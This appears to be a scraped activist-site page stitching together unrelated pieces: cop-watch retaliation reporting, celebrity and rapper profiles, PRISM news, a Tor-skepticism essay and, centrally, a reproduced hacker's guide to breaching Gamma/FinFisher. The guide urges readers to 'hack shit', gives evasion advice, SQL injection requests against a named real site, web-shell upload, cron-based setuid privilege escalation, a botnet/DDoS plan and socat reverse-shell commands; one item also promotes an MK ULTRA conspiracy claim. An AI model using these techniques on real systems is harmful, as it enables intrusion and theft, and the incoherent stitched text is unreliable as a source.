Buehler also said the group has additional internal emails which have not been released yet that reveal the APD attempted to take another charge to the District Attorney against him for felony child endangerment over the activities of a teenaged member of PSP.
He said he and other members of PSP were interested in pursuing a joint civil action against the APD over their attempts to frame and arrest them for their First Amendment activities.
This is not the first time a municipal police department has labeled a local cop watching group as an extremist organization.
In 2002, internal files from the Denver Police Department’s (DPD) Intelligence Unit were leaked to the ACLU, revealing the unit had been spying on several activist groups in the city, and keeping extensive records about members of the activist groups. Many of these groups were branded as “criminal extremist” organizations in what later became a full-scale controversy widely known as the Denver police’s “spy files.” Some of the groups falsely branded as “criminal extremist” groups included three police accountability organizations: Denver CopWatch, End the Politics of Cruelty and Justice for Mena.
Again, from October 2003 through the Republican National Convention (RNC) in August 2004, intelligence digests produced by the New York City Police Department (NYPD) on dozens of activist groups, including several police accountability organizations, were made public under a federal court order. TheNYPD labeled participants of the “Operation CopWatch” effort as criminal extremists.
Those who participated in “Operation CopWatch” during the RNC hoped to identify undercover cops who might attempt to provoke violence during demonstrations and document police violence or misconduct against protesters.
Communities Benefiting From Cop Watch Patrols Resist Police Retaliation Against Watchers
In some major urban areas, rates of police harassment of individuals drop considerably after cop watchers take to the streets – and communities band together to defend cop watch patrols that experience police retaliation, say veteran cop watchers.
Veteran police accountability activist José Martín has trained and organized with several organizations that participate in cop watch activities. Martín has been detained and arrested several times while cop watching with organized patrols in New York and Chicago.
His arrests in New York are part of a widely documented problem in the city. In fact, retaliation in New York against cop watchers has been so widespread that the NYPD had to send out an official memo to remind officers that it is perfectly legal for civilians to film cops on duty.
Martín described an experience in Chicago in which he felt police unjustly retaliated against him after a local CopWatch group formed and began regularly patrolling Chicago’s Pilsen neighborhood. After the group became well-known by the Pilsen community, residents gathered around an officer who had detained Martín after a patrol one night in 2009, calling for his release. The officer let him go shortly after.
“When cop watchers are retaliated against, if the community is organized, if there is a strong relationship between cop watch patrols and the community, but most importantly, if the cop watchers are people of the community, that community has the power to push back against retaliation and prevent its escalation,” Martín said. “Retaliation doesn’t work if you stand together.”
Another veteran cop watcher, Jacob Crawford, co-founder of Oakland’s We Copwatch, is helping the community of Ferguson, Missouri, organize cop watch patrols and prepare the community for the potential of police retaliation. His group raised $6,000 to pass out 110 cameras to organizers and residents in Ferguson, and train them to monitor police activity in the aftermath of the upheavals that rocked the city after Wilson killed Brown.
“I do expect retaliation, I do expect that these things won’t be easy, but these folks are in it,” Crawford told Truthout. “This is something that makes more sense to them than not standing up for themselves.”
What is impressive about Woody Harrelson is his obvious compassion. For the animals, for the planet and now – for the trees.
It is evident in most everything he does, on and away from the silver screen that he is passionate. Harrelson is a vegan and long time vegetarian, stating, “When I was 23, 24, I used to have a really bad runny nose, mucus, tons of acne, reddishness all over. A woman on a bus I took looked at me and said I was lactose intolerant. (She said), ‘Stop dairy for three days, and all this is going to go away.’ I stopped dairy, and sure enough it was gone three days later, never to return except when I get dairy accidentally.”
“I used to eat burgers and steak, and I would just be knocked out afterward; I had to give it up.”
Harrelson is a raw vegan, he doesn’t eat sugar, flour, dairy or meat. He lives with his family on a working organic farm on Maui — runs a biodiesel tractor, grows five different kinds of avocado trees, and tons of coconuts.
He is definitely an environmentalist – his company, Prairie Paper Ventures makes paper from crop waste instead of trees. Their website chants “Give Wheat a Chance.”
It took awhile to figure out how to turn leftover wheat and straw into paper, but he and his partners Jeff Golfman and Clayton Manness, figured it out and now there are 2 mills running in India – under the line “Step Forward“.
“Just know that two boxes of this paper saves one tree, so you can make a very real difference,” Harrelson says in a video on the company’s site promoting its “new paper paradigm.”
Staples has jumped on the bandwagon – they’re selling Prairie Paper in their stores in Canada and online. A ream, made of 80 percent wheat straw waste fiber and 20 percent wood fiber, sells for about $8.50.
What Harrelson will do next nobody knows, but for certain – it will be for the good of the planet.
Roseanne Barr is an outspoken actress and comedienne who never shied away from tackling difficult and controversial issues, even if that meant being unpopular or being tagged as “crazy” by mass media. While I can’t say that I agree with all of her views, she remains one of the very few people in Hollywood who dare talking about its most damning issue: MK ULTRA.
In a recent interview with RT, Roseanne talked about the dark side of the entertainment industry and directly mentioned MK ULTRA as being a major force in Hollywood. Here’s the interview (it is set up to start at the part about the entertainment industry).
Roseanne basically says that Hollywood stars are terrified of using their status to speak out about important issues because there’s a “culture of fear” going on there, where “speaking out” almost automatically equals being shunned from the industry and having one’s career destroyed.
Lawrence Krisna Parker (born August 20, 1965), better known by his stage namesKRS-One, and Teacha, is an American rapper from The Bronx, New York City, New York. KRS-One rose to prominence as part of the group Boogie Down Productions, which he formed with DJ Scott La Rock in the late 1980s. Following the release of the group’s debut album, Criminal Minded, La Rock was shot dead, but KRS-One continued the group, effectively as a solo project. He began releasing records under his own name in 1993.
KRS-One is noted to be a politically active musician having started the Stop the Violence Movement, after the death of Scott La Rock, and the Temple of Hip Hop, as well as addressing political issues in his music.
Immortal Technique has voiced a desire to retain control over his production,[3] and has stated in his music that record companies, not artists themselves, profit the most from mass production and marketing of music. He claimed in an interview to have sold close to a combined total of 200,000 copies of his three official releases.[4]
Iraqi from the United Kingdom. Social Justice Activist. Anti-Obama, Anti-Drone, Anti-War. Pro-Palestine.
Political activism (wikipedia)
Lowkey is a vocal opponent of Zionism and has been become well known for his pro-Palestinian activities as a patron of the Palestine Solidarity Campaign, comparing Zionism to colonialism and ethnic cleansing.[30][31][32] He is known to have coined the phrase “Nothing is more anti-semiticthan Zionism” in reference not only to the seldom acknowledged fact that Arabs are themselves Semites but also to what he called the “identical points of view” within Zionism and anti-semitism.[33]
In February 2009, he travelled to Palestinian refugee camps around the West Bank area to perform fundraising shows to help rebuild the Gaza Strip but was detained by the Israel Police for nine hours at Ben Gurion International Airport and interrogated, while having his passport confiscated.[34]Later in 2009, he travelled with M-1 of Dead Prez to carry out a humanitarian aid mission and bring medical aid to the Palestinian people in Gaza; this led to a collaboration between the two on Soundtrack to the Struggle.[35] He was detained for a second time in July 2010, en route to a number of concerts and musical workshops in refugee camps in the West Bank. After detaining him for twelve hours and an online petition was started, he was released.[36]
Lowkey has been a prominent member of the Stop The War Coalition and has spoken on many platforms regarding the occupation of Iraq.[37]Furthermore, he has been a sharp critic of United States and British foreign policy, claiming that the two powers are only interested in supporting leaders who are under their influence or are willing to assist them. He also claims American media overlooks those within the country who do not believe in American military supremacy.[30] Lowkey criticised US President Barack Obama as the “handsome face of an ugly empire” for enlargingGeorge Bush‘s “aggressive foreign policy”.[38]
Storytelling is a lost art in rap. Not many do it anymore. Storytelling is a testament to a writer’s creativity, all great writers have a great imagination. So you have to be able to create a plot that people can visualize. With a movie, you can see whats going on but when you can make someone see what you’re saying as you’re saying it, then thats a special talent. The knowledge comes from my roots in Hip Hop. In the beginning there were songs like “The Message”, “The Breaks”, then Public Enemy, KRS, X-Clan…those groups raised social consciousness in rap and thats the era i came up in, so naturally i understand the obligation to teach in my music, words are powerful and the things you say carry weight. I had to evolve and im still growing to where i dont get too wild anymore because i’ve corrupted enough minds. -KRino
When we first learned about NSA metadata collection, we wondered how readily the biggest tech companies acquiesced to the government. Today we start to find out. This is the story of how Yahoo was coerced into PRISM, as told by court documents cited by the Washington Post today.
According to the documents, corroborated by a blog post made public today by Yahoo—the U.S. government first approached the company in 2007 asking for user metadata. The request was unprecedented: The U.S. government was no longer interested in obtaining a court review before requesting metadata on an individual target. The order simply asked for data on targets located outside of the U.S. at the time, be they foreign or U.S. citizens.
Yahoo challenged the government requests several times, citing the limits of the U.S. Constitution, but was denied in the Foreign Intelligence Court of Review, the “secret courts” that oversee surveillance requests regarding national security. The repeated denials, plus the threat of losing $250,000 a day, forced Yahoo to comply with the NSA’s PRISM program.
For its part, the U.S. government used Yahoo as an example to coerce other American tech giants, sharing the rulings against Yahoo with companies like Google, Facebook, and Apple.
This information comes to light today, as roughly 1,500 pages of documents pertaining to Yahoo’s failed legal battle were released by Federal Judge William C. Bryson, who presides over the Foreign Intelligence Surveillance Court of Review. Yahoo requested the unsealing of the documents, and the company’s Ron Bell says in this blog post that Yahoo is working to make these never-before-released documents available on Tumblr.
Now that the courts are unsealing documents surrounding PRISM and other national surveillance programs, it’s possible that we’ll hear about other tech companies and whether they resisted the NSA’s requests for sweeping data dumps. Judging by what we’ve learned today, Yahoo tried to stick up for its users’ privacy—until it couldn’t afford to. [The Washington Post]
I’m not writing this to brag about what an 31337 h4x0r I am and what m4d sk1llz
it took to 0wn Gamma. I’m writing this to demystify hacking, to show how simple
it is, and to hopefully inform and inspire you to go out and hack shit. If you
have no experience with programming or hacking, some of the text below might
look like a foreign language. Check the resources section at the end to help you
get started. And trust me, once you’ve learned the basics you’ll realize this
really is easier than filing a FOIA request.
–[ 2 ]– Staying Safe
This is illegal, so you’ll need to take same basic precautions:
1) Make a hidden encrypted volume with Truecrypt 7.1a [0]
2) Inside the encrypted volume install Whonix [1]
3) (Optional) While just having everything go over Tor thanks to Whonix is
probably sufficient, it’s better to not use an internet connection connected
to your name or address. A cantenna, aircrack, and reaver can come in handy
here.
As long as you follow common sense like never do anything hacking related
outside of Whonix, never do any of your normal computer usage inside Whonix,
never mention any information about your real life when talking with other
hackers, and never brag about your illegal hacking exploits to friends in real
life, then you can pretty much do whatever you want with no fear of being v&.
NOTE: I do NOT recommend actually hacking directly over Tor. While Tor is usable
for some things like web browsing, when it comes to using hacking tools like
nmap, sqlmap, and nikto that are making thousands of requests, they will run
very slowly over Tor. Not to mention that you’ll want a public IP address to
receive connect back shells. I recommend using servers you’ve hacked or a VPS
paid with bitcoin to hack from. That way only the low bandwidth text interface
between you and the server is over Tor. All the commands you’re running will
have a nice fast connection to your target.
–[ 3 ]– Mapping out the target
Basically I just repeatedly use fierce [0], whois lookups on IP addresses and
domain names, and reverse whois lookups to find all IP address space and domain
names associated with an organization.
[0] http://ha.ckers.org/fierce/
For an example let’s take Blackwater. We start out knowing their homepage is at
academi.com. Running fierce.pl -dns academi.com we find the subdomains:
67.238.84.228 email.academi.com
67.238.84.242 extranet.academi.com
67.238.84.240 mail.academi.com
67.238.84.230 secure.academi.com
67.238.84.227 vault.academi.com
54.243.51.249 www.academi.com
Now we do whois lookups and find the homepage of www.academi.com is hosted on
Amazon Web Service, while the other IPs are in the range:
NetRange: 67.238.84.224 – 67.238.84.255
CIDR: 67.238.84.224/27
CustName: Blackwater USA
Address: 850 Puddin Ridge Rd
Doing a whois lookup on academi.com reveals it’s also registered to the same
address, so we’ll use that as a string to search with for the reverse whois
lookups. As far as I know all the actual reverse whois lookup services cost
money, so I just cheat with google:
“850 Puddin Ridge Rd” inurl:ip-address-lookup
“850 Puddin Ridge Rd” inurl:domaintools
Now run fierce.pl -range on the IP ranges you find to lookup dns names, and
fierce.pl -dns on the domain names to find subdomains and IP addresses. Do more
whois lookups and repeat the process until you’ve found everything.
Also just google the organization and browse around its websites. For example on
academi.com we find links to a careers portal, an online store, and an employee
resources page, so now we have some more:
54.236.143.203 careers.academi.com
67.132.195.12 academiproshop.com
67.238.84.236 te.academi.com
67.238.84.238 property.academi.com
67.238.84.241 teams.academi.com
If you repeat the whois lookups and such you’ll find academiproshop.com seems to
not be hosted or maintained by Blackwater, so scratch that off the list of
interesting IPs/domains.
In the case of FinFisher what led me to the vulnerable finsupport.finfisher.com
was simply a whois lookup of finfisher.com which found it registered to the name
“FinFisher GmbH”. Googling for:
“FinFisher GmbH” inurl:domaintools
finds gamma-international.de, which redirects to finsupport.finfisher.com
…so now you’ve got some idea how I map out a target.
This is actually one of the most important parts, as the larger the attack
surface that you are able to map out, the easier it will be to find a hole
somewhere in it.
–[ 4 ]– Scanning & Exploiting
Scan all the IP ranges you found with nmap to find all services running. Aside
from a standard port scan, scanning for SNMP is underrated.
Now for each service you find running:
1) Is it exposing something it shouldn’t? Sometimes companies will have services
running that require no authentication and just assume it’s safe because the url
or IP to access it isn’t public. Maybe fierce found a git subdomain and you can
go to git.companyname.come/gitweb/ and browse their source code.
2) Is it horribly misconfigured? Maybe they have an ftp server that allows
anonymous read or write access to an important directory. Maybe they have a
database server with a blank admin password (lol stratfor). Maybe their embedded
devices (VOIP boxes, IP Cameras, routers etc) are using the manufacturer’s
default password.
3) Is it running an old version of software vulnerable to a public exploit?
Webservers deserve their own category. For any webservers, including ones nmap
will often find running on nonstandard ports, I usually:
1) Browse them. Especially on subdomains that fierce finds which aren’t intended
for public viewing like test.company.com or dev.company.com you’ll often find
interesting stuff just by looking at them.
2) Run nikto [0]. This will check for things like webserver/.svn/,
webserver/backup/, webserver/phpinfo.php, and a few thousand other common
mistakes and misconfigurations.
3) Identify what software is being used on the website. WhatWeb is useful [1]
4) Depending on what software the website is running, use more specific tools
like wpscan [2], CMS-Explorer [3], and Joomscan [4].
First try that against all services to see if any have a misconfiguration,
publicly known vulnerability, or other easy way in. If not, it’s time to move
on to finding a new vulnerability:
5) Custom coded web apps are more fertile ground for bugs than large widely used
projects, so try those first. I use ZAP [5], and some combination of its
automated tests along with manually poking around with the help of its
intercepting proxy.
6) For the non-custom software they’re running, get a copy to look at. If it’s
free software you can just download it. If it’s proprietary you can usually
pirate it. If it’s proprietary and obscure enough that you can’t pirate it you
can buy it (lame) or find other sites running the same software using google,
find one that’s easier to hack, and get a copy from them.
* Visit the website. See nothing but a login page. Quickly check for sqli in the
login form.
* See if WhatWeb knows anything about what software the site is running.
* WhatWeb doesn’t recognize it, so the next question I want answered is if this
is a custom website by Gamma, or if there are other websites using the same
software.
* I view the page source to find a URL I can search on (index.php isn’t
exactly unique to this software). I pick Scripts/scripts.js.php, and google:
allinurl:”Scripts/scripts.js.php”
* I find there’s a handful of other sites using the same software, all coded by
the same small webdesign firm. It looks like each site is custom coded but
they share a lot of code. So I hack a couple of them to get a collection of
code written by the webdesign firm.
At this point I can see the news stories that journalists will write to drum
up views: “In a sophisticated, multi-step attack, hackers first compromised a
web design firm in order to acquire confidential data that would aid them in
attacking Gamma Group…”
But it’s really quite easy, done almost on autopilot once you get the hang of
it. It took all of a couple minutes to:
* google allinurl:”Scripts/scripts.js.php” and find the other sites
* Notice they’re all sql injectable in the first url parameter I try.
* Realize they’re running Apache ModSecurity so I need to use sqlmap [0] with
the option –tamper=’tamper/modsecurityversioned.py’
* Acquire the admin login information, login and upload a php shell [1] (the
check for allowable file extensions was done client side in javascript), and
download the website’s source code.
Looking through the source code they might as well have named it Damn Vulnerable
Web App v2 [0]. It’s got sqli, LFI, file upload checks done client side in
javascript, and if you’re unauthenticated the admin page just sends you back to
the login page with a Location header, but you can have your intercepting proxy
filter the Location header out and access it just fine.
[0] http://www.dvwa.co.uk/
Heading back over to the finsupport site, the admin /BackOffice/ page returns
403 Forbidden, and I’m having some issues with the LFI, so I switch to using the
sqli (it’s nice to have a dozen options to choose from). The other sites by the
web designer all had an injectable print.php, so some quick requests to:
https://finsupport.finfisher.com/GGI/Home/print.php?id=1 and 1=1
https://finsupport.finfisher.com/GGI/Home/print.php?id=1 and 2=1
reveal that finsupport also has print.php and it is injectable. And it’s
database admin! For MySQL this means you can read and write files. It turns out
the site has magicquotes enabled, so I can’t use INTO OUTFILE to write files.
But I can use a short script that uses sqlmap –file-read to get the php source
for a URL, and a normal web request to get the HTML, and then finds files
included or required in the php source, and finds php files linked in the HTML,
to recursively download the source to the whole site.
Looking through the source, I see customers can attach a file to their support
tickets, and there’s no check on the file extension. So I pick a username and
password out of the customer database, create a support request with a php shell
attached, and I’m in!
finsupport was running the latest version of Debian with no local root exploits,
but unix-privesc-check returned:
WARNING: /etc/cron.hourly/mgmtlicensestatus is run by cron as root. The user
www-data can write to /etc/cron.hourly/mgmtlicensestatus
WARNING: /etc/cron.hourly/webalizer is run by cron as root. The user www-data
can write to /etc/cron.hourly/webalizer
so I add to /etc/cron.hourly/webalizer:
chown root:root /path/to/my_setuid_shell
chmod 04755 /path/to/my_setuid_shell
wait an hour, and ….nothing. Turns out that while the cron process is running
it doesn’t seem to be actually running cron jobs. Looking in the webalizer
directory shows it didn’t update stats the previous month. Apparently after
updating the timezone cron will sometimes run at the wrong time or sometimes not
run at all and you need to restart cron after changing the timezone. ls -l
/etc/localtime shows the timezone got updated June 6, the same time webalizer
stopped recording stats, so that’s probably the issue. At any rate, the only
thing this server does is host the website, so I already have access to
everything interesting on it. Root wouldn’t get much of anything new, so I move
on to the rest of the network.
–[ 6 ]– Pivoting
The next step is to look around the local network of the box you hacked. This
is pretty much the same as the first Scanning & Exploiting step, except that
from behind the firewall many more interesting services will be exposed. A
tarball containing a statically linked copy of nmap and all its scripts that you
can upload and run on any box is very useful for this. The various nfs-* and
especially smb-* scripts nmap has will be extremely useful.
The only interesting thing I could get on finsupport’s local network was another
webserver serving up a folder called ‘qateam’ containing their mobile malware.
–[ 7 ]– Have Fun
Once you’re in their networks, the real fun starts. Just use your imagination.
While I titled this a guide for wannabe whistleblowers, there’s no reason to
limit yourself to leaking documents. My original plan was to:
1) Hack Gamma and obtain a copy of the FinSpy server software
2) Find vulnerabilities in FinSpy server.
3) Scan the internet for, and hack, all FinSpy C&C servers.
4) Identify the groups running them.
5) Use the C&C server to upload and run a program on all targets telling them
who was spying on them.
6) Use the C&C server to uninstall FinFisher on all targets.
7) Join the former C&C servers into a botnet to DDoS Gamma Group.
It was only after failing to fully hack Gamma and ending up with some
interesting documents but no copy of the FinSpy server software that I had to
make due with the far less lulzy backup plan of leaking their stuff while
mocking them on twitter.
Point your GPUs at FinSpy-PC+Mobile-2012-07-12-Final.zip and crack the password
already so I can move on to step 2!
–[ 8 ]– Other Methods
The general method I outlined above of scan, find vulnerabilities, and exploit
is just one way to hack, probably better suited to those with a background in
programming. There’s no one right way, and any method that works is as good as
any other. The other main ways that I’ll state without going into detail are:
1) Exploits in web browers, java, flash, or microsoft office, combined with
emailing employees with a convincing message to get them to open the link or
attachment, or hacking a web site frequented by the employees and adding the
browser/java/flash exploit to that.
This is the method used by most of the government hacking groups, but you don’t
need to be a government with millions to spend on 0day research or subscriptions
to FinSploit or VUPEN to pull it off. You can get a quality russian exploit kit
for a couple thousand, and rent access to one for much less. There’s also
metasploit browser autopwn, but you’ll probably have better luck with no
exploits and a fake flash updater prompt.
2) Taking advantage of the fact that people are nice, trusting, and helpful 95%
of the time.
The infosec industry invented a term to make this sound like some sort of
science: “Social Engineering”. This is probably the way to go if you don’t know
too much about computers, and it really is all it takes to be a successful
hacker [0].
[0] https://www.youtube.com/watch?v=DB6ywr9fngU
–[ 9 ]– Resources
Links:
* https://www.pentesterlab.com/exercises/
* http://overthewire.org/wargames/
* http://www.hackthissite.org/
* http://smashthestack.org/
* http://www.win.tue.nl/~aeb/linux/hh/hh.html
* http://www.phrack.com/
* http://pen-testing.sans.org/blog/2012/04/26/got-meterpreter-pivot
* http://www.offensive-security.com/metasploit-unleashed/PSExec_Pass_The_Hash
* https://securusglobal.com/community/2013/12/20/dumping-windows-credentials/
* https://www.netspi.com/blog/entryid/140/resources-for-aspiring-penetration-testers
(all his other blog posts are great too)
* https://www.corelan.be/ (start at Exploit writing tutorial part 1)
* http://websec.wordpress.com/2010/02/22/exploiting-php-file-inclusion-overview/
One trick it leaves out is that on most systems the apache access log is
readable only by root, but you can still include from /proc/self/fd/10 or
whatever fd apache opened it as. It would also be more useful if it mentioned
what versions of php the various tricks were fixed in.
* http://www.dest-unreach.org/socat/
Get usable reverse shells with a statically linked copy of socat to drop on
your target and:
target$ socat exec:’bash -li’,pty,stderr,setsid,sigint,sane tcp-listen:PORTNUM
host$ socat file:`tty`,raw,echo=0 tcp-connect:localhost:PORTNUM
It’s also useful for setting up weird pivots and all kinds of other stuff.
Books:
* The Web Application Hacker’s Handbook
* Hacking: The Art of Exploitation
* The Database Hacker’s Handbook
* The Art of Software Security Assessment
* A Bug Hunter’s Diary
* Underground: Tales of Hacking, Madness, and Obsession on the Electronic Frontier
* TCP/IP Illustrated
Aside from the hacking specific stuff almost anything useful to a system
administrator for setting up and administering networks will also be useful for
exploring them. This includes familiarity with the windows command prompt and unix
shell, basic scripting skills, knowledge of ldap, kerberos, active directory,
networking, etc.
–[ 10 ]– Outro
You’ll notice some of this sounds exactly like what Gamma is doing. Hacking is a
tool. It’s not selling hacking tools that makes Gamma evil. It’s who their
customers are targeting and with what purpose that makes them evil. That’s not
to say that tools are inherently neutral. Hacking is an offensive tool. In the
same way that guerrilla warfare makes it harder to occupy a country, whenever
it’s cheaper to attack than to defend it’s harder to maintain illegitimate
authority and inequality. So I wrote this to try to make hacking easier and more
accessible. And I wanted to show that the Gamma Group hack really was nothing
fancy, just standard sqli, and that you do have the ability to go out and take
similar action.
Solidarity to everyone in Gaza, Israeli conscientious-objectors, Chelsea
Manning, Jeremy Hammond, Peter Sunde, anakata, and all other imprisoned
hackers, dissidents, and criminals!
Israel is under an obligation to terminate its breaches of international law; it is under an obligation to cease forthwith the works of construction of the wall being built in the Occupied Palestinian Territory, including in and around East Jerusalem, to dismantle forthwith the structure therein situated, and to repeal or render ineffective forthwith all legislative and regulatory acts relating thereto, in accordance with paragraph 151 of this Opinion; -International Court of Justice in the Hague Press Release 2004/28
Speaking engagement :The Intifada within the American, Israeli, Islamic Triangle was a debate that took place on the 8th of November 1989 at the University of Pennsylvania .
Sponsored by The International Student Council
Co-Sponsored by: Senior VP for Research and Dean of the Graduate School, Vice Provost and Dean of Undergraduate Education, School of Communications, Middle East Studies Comittee, University Office of International Prgorams, Department of Political Science, Department of History.
Max Maverick breaks down everything we know, don’t know, and should be asking about this mainstream media ‘circus’ that has become of the Snowden NSA Leak Disclosure.
Bruce SchneierThe NSA: Capabilities and Countermeasures
Speaker: Bruce Schneier
Edward Snowden has given us an unprecedented window into the NSA’s surveillance activities. Drawing from both the Snowden documents and revelations from previous whistleblowers, I will describe the sorts of surveillance the NSA does and how it does it. The emphasis is on the technical capabilities of the NSA, not the politics of their actions. This includes how it conducts Internet surveillance on the backbone, but is primarily focused on their offensive capabilities: packet injection attacks from the Internet backbone, exploits against endpoint computers and implants to exfiltrate information, fingerprinting computers through cookies and other means, and so on.
I will then talk about what sorts of countermeasures are likely to frustrate the NSA. Basically, these are techniques to raise the cost of wholesale surveillance in favor of targeted surveillance: encryption, target hardening, dispersal, and so on.
In the ongoing drizzle of Snowden revelations the public has witnessed a litany of calls for the widespread adoption of online anonymity tools. One such technology is Tor, which employs a network of Internet relays to hinder the process of attribution. Though advocates at the Electronic Frontier Foundation openly claim that “Tor still works[1]” skepticism is warranted. In fact anyone risking incarceration (or worse) in the face of a highly leveraged intelligence outfit like the NSA would be ill- advised to put all of their eggs in the Tor basket. This is an unpleasant reality which certain privacy advocates have been soft-pedaling.
The NSA Wants You To Use Tor
Tor proponents often make a big deal of the fact that the NSA admits in its own internal documents that “Tor Stinks,” as it makes surveillance more work-intensive[2]. What these proponents fail to acknowledge is that the spies at the NSA also worry that Internet users will abandon Tor:
“[A] Critical mass of targets use Tor. Scaring them away from Tor might be counterproductive”
Go back and re-read that last sentence. Tor is a signal to spies, a big waving flag that gets their attention and literally draws them to your network traffic[3]. Certain aspects of Tor might “stink” but ultimately the NSA wants people to keep using Tor. This highlights the fact that security services, like the FBI[4], have developed sophisticated tools to remove the veil of anonymity that Tor aims to provide.
For example, the Washington Post reports[5]:
“One document provided by Snowden included an internal exchange among NSA hackers in which one of them said the agency’s Remote Operations Center was capable of targeting anyone who visited an al-Qaeda Web site using Tor.”
It’s well known that Tor is susceptible to what’s called a traffic confirmation attack (AKAend-to-endcorrelation), where an entity monitoring the network traffic on both sides of a Tor session can wield statistical tools to identify a specific communication path. Keep in mind that roughly 90 percent of the world’s internet communication flows through the United States[6], so it’s easy for U.S. intelligence to deploying this approach by watching data flows around entry and exit points[7].
Another method involves “staining” data with watermarks. For example, the NSA has been known to mark network traffic by purchasing ad space from online companies like Google. The ads cause web browsers to create a cookie artifact on the user’s computer which identifies the machine viewing the ad[8]. IP addresses may change but the cookie and its identifiers do not.
De-cloaking Tor users doesn’t necessarily require a federal budget either. According to a couple of researchers slated to speak at Black Hat in a few weeks[9]:
“In our analysis, we’ve discovered that a persistent adversary with a handful of powerful servers and a couple gigabit links can de-anonymize hundreds of thousands Tor clients and thousands of hidden services within a couple of months. The total investment cost? Just under $3,000.”
Client Network Exploitation (CNE) Trumps Crypto
Back in 2009 security researcher Joanna Rutkowska implemented what she dubbed the “Evil Maid” attack to foil TrueCrypt’s disk encryption scheme[10]. By compromising the Windows boot environment her team was able to capture the hard disk’s encryption passphrase and circumvent TrueCrypt’s protection. While users can [usually] defend against this sort of monkey business, by relying on a trusted boot process, the success of the Evil Maid attack underscores the capacity for subversion to trump encryption.
This type of client-side exploitation can be generalized for remote network-based operations. In a nutshell, it doesn’t matter how strong your network encryption is if a spy can somehow hack your computer and steal your encryption passphrase (to decrypt your traffic) or perhaps just pilfer the data that they want outright.
Enter the NSAs QUANTUM and FOXACID tag team. QUANTUM servers have the ability to mimic web sites and subsequently re-direct user requests to a second set of FOXACID servers which infects the user’s computer with malware[11]. Thanks to Ed Snowden it’s now public knowledge that the NSA’s goal is to industrialize this process of subversion (a system codenamed TURBINE[12]) so it can be executed on an industrial scale. Why go to the effort of decrypting Tor network traffic when spies can infect, infiltrate, and monitor millions of machine at a time?
Is it any wonder that the Kremlin has turned to old-school typewriters[13] and that German officials have actually considered a similar move[14]? In the absence of a faraday cage even tightly configured air- gapped systems can be breached using clever radio and cellular-based rootkits[15]. As one user shrewdly commented in an online post[16]:
“Ultimately, I believe in security. But what I believe about security leaves me far from the cutting edge; my security environment is more like bearskins and stone knives, because bearskins and stone knives are simple enough that I can *know* they won’t do something I don’t want them to do. Smartphones and computers simply cannot provide that guarantee. The parts of their security models that I do understand, *won’t* prevent any of the things I don’t want them to do.”
Software is hard to trust, there are literally thousands upon thousands of little nooks where a flaw can be “accidentally” inserted to provide a back door. Hardware is even worse.
Denouement
About a year ago John Young, the operator of the leaks site Cryptome, voiced serious concerns in a mailing list thread about the perception of security being conveyed by tools like Tor[17]:
“Security is deception. Comsec a trap. Natsec the mother of secfuckers”
Jacob Appelbaum, who by the way is intimately involved with the Tor project, responded:
“Whatever you’re smoking, I wish you’d share it with the group”
Appelbaum’s cavalier dismissal fails to appreciate the aforementioned countermeasures. What better way to harvest secrets from targets en mass than to undermine a ubiquitous technology that everyone thinks will keep them safe? Who’s holding the shit-bag now? For activists engaged in work that could get them executed, relying on crypto as a universal remedy is akin to buying snake oil. John Young’s stance may seem excessive to Tor promoters like Appelbaum but if Snowden’s revelations have taught us anything it’s that the cynical view has been spot on.
Bill Blunden is an independent investigator whose current areas of inquiry include information security, anti-forensics, and institutional analysis. He is the author of several books, including The Rootkit Arsenal and Behold a Pale Farce: Cyberwar, Threat Inflation, and the Malware-IndustrialComplex. Bill is the lead investigator at Below Gotham Labs.
End Notes
1 Cooper Quintin, “7 Things You Should Know About Tor,” Electronic Frontier Foundation, July 1, 2014, https://www.eff.org/deeplinks/2014/07/7-things-you-should-know-about-tor
2 ‘Tor Stinks’ presentation, Guardian, October 4, 2013,http://www.theguardian.com/world/interactive/2013/oct/04/tor-stinks-nsa-presentation-document
3 J. Appelbaum, A. Gibson, J. Goetz, V. Kabisch, L. Kampf, L. Ryge, “NSA targets theprivacy-conscious,” http://daserste.ndr.de/panorama/aktuell/nsa230_page-1.html
4 Kevin Poulsen, “FBI Admits It Controlled Tor Servers Behind Mass Malware Attack,”
Wired, September 13, 2013, http://www.wired.com/threatlevel/2013/09/freedom-hosting-fbi/
5 Barton Gellman, Craig Timberg, and Steven Rich, “Secret NSA documents show campaign against Tor encrypted network,” Washington Post, October 4, 2013
6 James Ball, “NSA stores metadata of millions of web users for up to a year, secret files show,” Guardian, September 30, 2013, http://www.theguardian.com/world/2013/sep/30/nsa-americans-metadata-year-documents/print
7 Maxim Kammerer, [tor-talk] End-to-end correlation for fun and profit, August 20, 2007,https://lists.torproject.org/pipermail/tor-talk/2012-August/025254.html
8 Seth Rosenblatt, “NSA tracks Google ads to find Tor users,” CNET, October 4, 2013, http://news.cnet.com/8301-1009_3-57606178-83/nsa-tracks-google-adsto-find-tor-users/
9 Alexander Volynkin & Michael McCord, “You Don’t Have to be the NSA to Break Tor: Deanonymizing Users on a
Budget,” Black Hat USA 2014, https://www.blackhat.com/us-14/briefings.html#you-dont-have-to-be-the-nsa-to-break-tor-deanonymizing-users-on-a-budget
10 Joanna Rutkowska, “Evil Maid goes after TrueCrypt!” Invisible Things Lab’s Blog, October 16, 2009, http://theinvisiblethings.blogspot.com/2009/10/evil-maid-goes-after-truecrypt.html
11 Bruce Schneier, “Attacking Tor: how the NSA targets users’ online anonymity,” Guardian, October 4, 2013, http://www.theguardian.com/world/2013/oct/04/tor-attacks-nsa-users-online-anonymity/print
12 Ryan Gallagher and Glenn Greenwald, “How the NSA Plans to Infect ‘Millions’ of Computers with Malware,”
Intercept, March 12, 2014, https://firstlook.org/theintercept/article/2014/03/12/nsa-plans-infect-millions-computers-malware/
13 Chris Irvine, “Kremlin returns to typewriters to avoid computer leaks,” Telegraph, July 11, 2014,http://www.telegraph.co.uk/news/worldnews/europe/russia/10173645/Kremlin-returns-to-typewriters-to-avoid-computer-leaks.html
14 Cyrus Farivar, “In the name of security, German NSA committee may turn to typewriters,” Ars Technica, July 14, 2014, http://arstechnica.com/tech-policy/2014/07/in-the-name-of-security-german-nsa-committee-may-turn-to-typewriters/
15 Jacob Appelbaum, “Shopping for Spy Gear: Catalog Advertises NSA Toolbox,” Der Spiegel, December 29, 2013, http://www.spiegel.de/international/world/catalog-reveals-nsa-has-back-doors-for-numerous-devices-a-940994.html
16 “Iron Box Security,” Cryptome, June 6, 2014, http://cryptome.org/2014/06/iron-box-security.htm
17 “Natsec the Mother of Secfuckers,” Cryptome, June 9, 2013, http://cryptome.org/2013/06/nat-secfuckers.htm
